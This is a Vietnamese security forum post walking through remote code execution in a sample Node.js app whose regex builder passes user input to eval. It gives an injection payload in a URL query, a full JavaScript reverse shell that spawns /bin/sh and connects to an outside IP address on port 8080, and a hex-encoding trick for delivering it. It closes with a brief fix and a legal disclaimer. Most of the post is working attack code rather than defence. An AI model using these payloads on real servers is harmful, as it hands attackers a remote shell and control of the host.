Reverse shell trên ứng dụng Nodejs

Thảo luận trong 'Audit/Pentest Security' bắt đầu bởi krone, 23/01/19, 11:01 PM.

  1. krone

    krone Moderator Thành viên BQT

    Tham gia: 26/07/16, 03:07 PM
    Bài viết: 248
    Đã được thích: 125
    Điểm thành tích:
    43
    Sau đây sẽ là một bài viết về cách có thể tạo ra được một trình reverse shell viết bằng javascript để khai thác shell thông qua audit ứng dụng viết bằng Nodejs.
    Thử nghiệm với một ứng dụng đơn giản gặp một số lỗi về logic như sau:
    - Web server sẽ chờ để cung cấp dữ liệu thông qua query như sau http://example.node//?name=do* và tìm kiếm tên các loại động vật phù hợp với Query đó.
    Mã:
    'use strict'
    const http = require('http');
    const url = require('url');
    const path = require('path');
    
    const animalsJSON = path.join(__dirname, 'animals.json');
    const animals = require(animalsJSON);
    
    function requestHandler(req, res) {
        let urlParams = url.parse(req.url, true);
        let queryData = urlParams.query;
        res.writeHead(200, {"Content-Type": "application/json"});
    
        if (queryData.name) {
            let searchQuery = stringToRegexp(queryData.name);
            let animalsResult = getAnimals(searchQuery);
            res.end(JSON.stringify(animalsResult));
        } else {
            res.end();
        }
    }
    
    function getAnimals(query) {
        let result = [];
    
        for (let animal of animals) {
            if (query.test(animal.name))
                result.push(animal);
        }
    
        return result;
    }
    
    function stringToRegexp(input) {
        let output = input.replace(/[\[\]\\\^\$\.\|\?\+\(\)]/, "\\$&");
        let prefix, suffix;
    
        if (output[0] == '*') {
            prefix = '/';
            output = output.replace(/^\*+/g, '');
        } else {
            prefix = '/^';
        }
    
        if (output[output.length - 1] == '*') {
            suffix = '/i';
            output = output.replace(/\*+$/g, '');
        } else {
            suffix = '$/i';
        }
        output = output.replace(/[\*]/, '.*');
    
        return eval(prefix + output + suffix);
    }
    
    const server = http.createServer(requestHandler);
    server.listen(3000);
    Response:
    Mã:
    [
        {"name": "Dinosaur"},
        {"name": "Dog"},
        {"name": "Dogfish"},
        {"name": "Dolphin"},
        {"name": "Donkey"},
        {"name": "Dotterel"},
        {"name": "Dove"},
        {"name": "Dragonfly"},
        {"name": "Duck"}
    ]
    
    Lỗ hổng:

    Sau vài phút phân tích các điểm cuối lỗi trong mã, nhận thấy một vấn đề thực sự có ảnh hưởng xấu có thể dẫn đến việc ứng dụng bị khai thác RCE.
    Hàm stringToRegex đang đánh giá input của user để tạo ra một đối tượng Regexp và sử dụng chúng để tìm kiếm các thành phần trong mảng.

    Mã:
    return eval(prefix + output + suffix); // we control output value
    
    Chúng ta có thể chèn thêm mã Javascript vào biến output và thực thi chúng. Hàm stringToRegexp sẽ thoát một số ký tự và giá trị đầu ra sẽ được tương ứng với một biểu thức.
    Mã:
    ["./;require('util').log('Owned');//*"]
    Truy cập địa chỉ dưới đây sẽ in một tin nhắn trên thiết bị đầu cuối máy chủ.
    Mã:
    http://example.node/?name=["./;require('util').log('Owned');//*"]
    Từ đó, có thể thực thi mã để đạt được một shell ở phía server.
    The Node.js reverse shell
    Mã javascrip bên dưới là một dạng reverse shell.
    Payload sẽ tạo ra một shell /bin/sh, mở một cổng lắng nghe ở giao thức TCP cho kẻ tấn công.
    Mã:
    (function(){
        var net = require("net"),
            cp = require("child_process"),
            sh = cp.spawn("/bin/sh", []);
        var client = new net.Socket();
        client.connect(8080, "11.77.22.66", function(){
            client.pipe(sh.stdin);
            sh.stdout.pipe(client);
            sh.stderr.pipe(client);
        });
        return /a/; // Prevents the Node.js application form crashing
    })();
    Để thực hiện payload một cách chính xác, chúng ta sử dụng một mẹo nhỏ, chúng ta mã hóa tải trọng reverse thành thập lục phân và sử dụng đối tượng Buffer Node.js để giải mã nó.
    Mã:
    http://example.node/?name=["./;eval(new Buffer('PAYLOAD', 'hex').toString());//*"]
    Kết luận
    Bạn nên tránh sử dụng chức năng eval trong project Javascript. Cách khắc phục khá đơn giản, bắt đầu sử dụng trực tiếp đối tượng RegExp.
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    DDos and Sugi_b3o like this.